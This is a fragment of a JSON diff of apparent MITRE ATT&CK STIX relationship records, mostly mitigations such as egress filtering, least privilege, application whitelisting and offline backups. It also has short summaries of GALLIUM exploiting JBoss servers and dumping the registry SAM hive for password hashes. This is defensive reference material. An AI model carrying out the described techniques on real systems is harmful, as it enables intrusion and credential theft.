"2019-07-18T17:42:08.950Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--80a23356-20b7-49a3-a48e-e0c04e2bff86", + "description": "Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "modified": "2020-06-20T20:42:37.483Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T17:42:08.974Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--227f3705-ab28-4b5f-87d7-12bcf14c47f7", + "description": "Use remote desktop gateways.", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "modified": "2020-02-11T18:24:04.821Z", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T17:46:12.289Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bea04550-f39b-4840-82f2-5da61457f696", + "description": "Limit remote user permissions if remote access is necessary.", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "modified": "2020-02-11T18:24:04.822Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T17:46:12.319Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--795ca238-c8cf-4735-98cc-593f1cc59b16", + "description": "Limit the accounts that may use remote services. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs.", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", + "modified": "2021-10-13T17:39:09.095Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T17:50:43.801Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5c245d0b-61e7-4558-8b36-32c846266af0", + "description": "Limit the use of USB devices and removable media within a network.", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "modified": "2021-07-20T02:18:04.880Z", + "source_ref": "course-of-action--2995bc22-2851-4345-ad19-4e7e295be264", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T17:52:28.558Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--44cc2a12-21bd-405d-b3d4-ebbf03e28722", + "description": "Identify critical business and system processes that may be targeted by adversaries and work to isolate and secure those systems against unauthorized access and tampering. ", + "target_ref": "attack-pattern--ca205a36-c1ad-488b-aa6c-ab34bdd3a36b", + "modified": "2020-03-02T14:30:49.817Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T17:56:46.196Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--47759329-dbca-4902-ba28-e905e8a76640", + "description": "Appropriate permissions should be applied such that only specific users can edit the startup items so that they can be leveraged for privilege escalation.", + "target_ref": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f", + "modified": "2020-01-15T18:02:50.132Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T17:58:17.216Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--91e941a6-64bd-42ab-94f9-aa0e90f132ff", + "description": "\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "modified": "2021-08-23T20:25:22.464Z", + "source_ref": "course-of-action--f2cb6ce2-188d-4162-8feb-594f949b13dd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T18:21:44.870Z", + "external_references": [ + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ae569020-4c3b-49b9-957d-2fcc32c627bb", + "description": "Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk.", + "target_ref": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92", + "modified": "2020-03-02T14:24:27.188Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T18:26:38.307Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b0dafa5e-eb37-4af2-a7a4-8708416cceb1", + "description": "The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. ", + "target_ref": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e", + "modified": "2020-01-17T16:51:52.289Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T18:46:58.831Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6acc95f3-596b-430d-9089-3485b27c8b8b", + "description": "Limit user access to system utilities such as 'systemctl' to only users who have a legitimate need.", + "target_ref": "attack-pattern--0fff2797-19cb-41ea-a5f1-8a9303b8158e", + "modified": "2020-01-17T16:51:52.283Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T18:46:58.853Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7a20546a-c6be-4c1b-8b41-23cfb551f933", + "description": "Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network.", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "modified": "2020-12-11T17:00:01.191Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T19:06:27.491Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--43eebb80-4b8a-4690-a7e3-5f6f8e08db9f", + "description": "Grant access to application deployment systems only to a limited number of authorized administrators.", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "modified": "2020-12-11T17:00:01.211Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T19:07:50.184Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0c4d2678-b4e3-4f0a-b3a2-f0f6d218bfd4", + "description": "Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "modified": "2020-03-10T18:34:39.943Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T19:12:52.384Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b5023b20-4243-4686-8b51-429ae7ac73cb", + "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations.", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "modified": "2021-03-02T22:11:32.230Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T19:18:32.950Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7af04b3a-b7ca-4dc1-a085-6e09a0505adc", + "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use and unauthenticated network share access.", + "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db", + "modified": "2020-03-30T13:56:55.579Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T19:25:59.028Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3ab77e56-51b4-4e05-b16e-46befadbd69d", + "description": "Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Secuirty) (Citation: NIST Server Security July 2008)", + "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db", + "modified": "2020-03-30T13:56:55.603Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T19:25:59.052Z", + "external_references": [ + { + "source_name": "acunetix Server Secuirty", + "description": "Acunetix. (n.d.). Web Server Security and Database Server Security. Retrieved July 26, 2018.", + "url": "https://www.acunetix.com/websitesecurity/webserver-security/" + }, + { + "source_name": "NIST Server Security July 2008", + "description": "Scarfone, K. et al.. (2008, July). NIST Special Publication 800-123 - Guide to General Server Security. Retrieved July 26, 2018.", + "url": "https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--869f816b-a02b-453b-9b52-1620ac82412d", + "description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "modified": "2020-01-24T19:36:42.022Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-18T19:28:08.542Z", + "external_references": [ + { + "source_name": "UCF STIG Symbolic Links", + "description": "UCF. (n.d.). Unauthorized accounts must not have the Create symbolic links user right.. Retrieved December 18, 2017.", + "url": "https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ad60e0be-02a4-4f79-a81d-afdde78492be", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) exploited a publicly-facing servers including Wildfly/JBoss servers to gain access to the network.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "modified": "2021-01-13T21:05:37.555Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-07-18T20:47:50.147Z", + "external_references": [ + { + "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. 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Ensure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required. 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Retrieved December 18, 2017.", + "url": "https://technet.microsoft.com/library/jj852168.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9d4e8b44-90f8-4a10-8419-8187d4babf24", + "description": "Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "modified": "2021-04-20T16:31:11.676Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-19T14:30:22.477Z", + "external_references": [ + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1d50b715-96a2-4fd6-bf92-603ad90730fd", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems.", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "modified": "2021-04-20T16:31:11.674Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-19T14:30:22.479Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--af1e6f67-b513-42f7-b5df-dfb04b38caf6", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "modified": "2021-03-25T14:47:48.984Z", + "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-19T14:34:28.783Z", + "external_references": [ + { + "url": "https://www.ready.gov/business/implementation/IT", + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "source_name": "Ready.gov IT DRP" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f8bb44c8-d368-4d56-b039-50d6419ab60a", + "description": "Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery. Consider enabling versioning in cloud environments to maintain backup copies of storage objects.(Citation: Rhino S3 Ransomware Part 2)", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "modified": "2021-08-16T21:07:27.553Z", + "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-19T14:35:12.517Z", + "external_references": [ + { + "source_name": "Ready.gov IT DRP", + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "url": "https://www.ready.gov/business/implementation/IT" + }, + { + "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/", + "description": "Gietzen, S. (n.d.). S3 Ransomware Part 2: Prevention and Defense. Retrieved April 14, 2021.", + "source_name": "Rhino S3 Ransomware Part 2" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bb402b5a-2ee4-4031-93a5-dae262794974", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n", + "target_ref": "attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b", + "modified": "2020-03-28T22:36:25.541Z", + "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-19T14:35:44.004Z", + "external_references": [ + { + "url": "https://www.ready.gov/business/implementation/IT", + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "source_name": "Ready.gov IT DRP" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b433b9bf-2b2e-4ceb-bb5e-aa8e6d099b34", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "target_ref": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7", + "modified": "2020-02-20T22:07:27.663Z", + "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-19T14:36:10.807Z", + "external_references": [ + { + "url": "https://www.ready.gov/business/implementation/IT", + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "source_name": "Ready.gov IT DRP" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f5f3803b-3c9c-4eb9-812b-f0bbc78232ba", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "target_ref": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e", + "modified": "2020-02-20T22:11:00.278Z", + "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-19T14:36:43.856Z", + "external_references": [ + { + "url": "https://www.ready.gov/business/implementation/IT", + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "source_name": "Ready.gov IT DRP" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f9e62f6d-a091-44a9-91e6-3660b89ba2b9", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "modified": "2020-07-14T19:33:52.662Z", + "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-19T14:37:37.517Z", + "external_references": [ + { + "source_name": "Ready.gov IT DRP", + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "url": "https://www.ready.gov/business/implementation/IT" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e93b22f5-2df4-49d7-bf4b-985919028e4e", + "description": "Consider disabling embedded files in Office programs, such as OneNote, that do not work with Protected View.(Citation: Enigma Reviving DDE Jan 2018)(Citation: GitHub Disable DDEAUTO Oct 2017)", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "modified": "2020-03-09T13:00:19.467Z", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-19T14:42:04.467Z", + "external_references": [ + { + "source_name": "Enigma Reviving DDE Jan 2018", + "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.", + "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee" + }, + { + "source_name": "GitHub Disable DDEAUTO Oct 2017", + "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.", + "url": "https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d2bad46d-7e0c-4b22-9859-172892a2d861", + "description": "Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.", + "target_ref": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", + "modified": "2020-03-19T19:10:25.627Z", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-19T14:43:31.139Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7ad8dd5d-06f6-47b1-874a-8a4e7fc39ba5", + "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)", + "target_ref": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "modified": "2020-03-31T12:49:14.910Z", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-19T14:44:30.772Z", + "external_references": [ + { + "url": "https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning", + "description": "Wikipedia. (2017, February 28). HTTP Public Key Pinning. Retrieved March 31, 2017.", + "source_name": "Wikipedia HPKP" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f6f38033-ddd4-418a-ad70-b1198df67fc3", + "description": "For the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)", + "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "modified": "2021-08-16T21:25:04.479Z", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-19T14:45:29.007Z", + "external_references": [ + { + "source_name": "Palo Alto Office Test Sofacy", + "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b10a7101-9e17-4ff0-bbdf-3e732f8f4547", + "description": "Avoid PowerShell profiles if not needed. Use the -No Profile flag with when executing PowerShell scripts remotely to prevent local profiles and scripts from being executed. ", + "target_ref": "attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a", + "modified": "2020-01-24T15:11:53.672Z", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-19T14:46:24.387Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--20cc9dc5-61ad-4fbb-86da-4861e60b98e4", + "description": "[Execution Guardrails](https://attack.mitre.org/techniques/T1480) likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.", + "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", + "modified": "2021-06-09T18:49:46.545Z", + "source_ref": "course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-07-19T14:59:44.180Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1a28a0a2-8e2f-4c42-b6b0-0ffe3d821528", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used reg commands to dump specific hives from the Windows Registry, such as the SAM hive, and obtain password hashes.(Citation: Cybereason Soft Cell June 2019)", + "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", + "modified": "2020-03-25T18:09:06.729Z", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-07-19T16:38:05.288Z", + "external_references": [ + { + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", + "description": 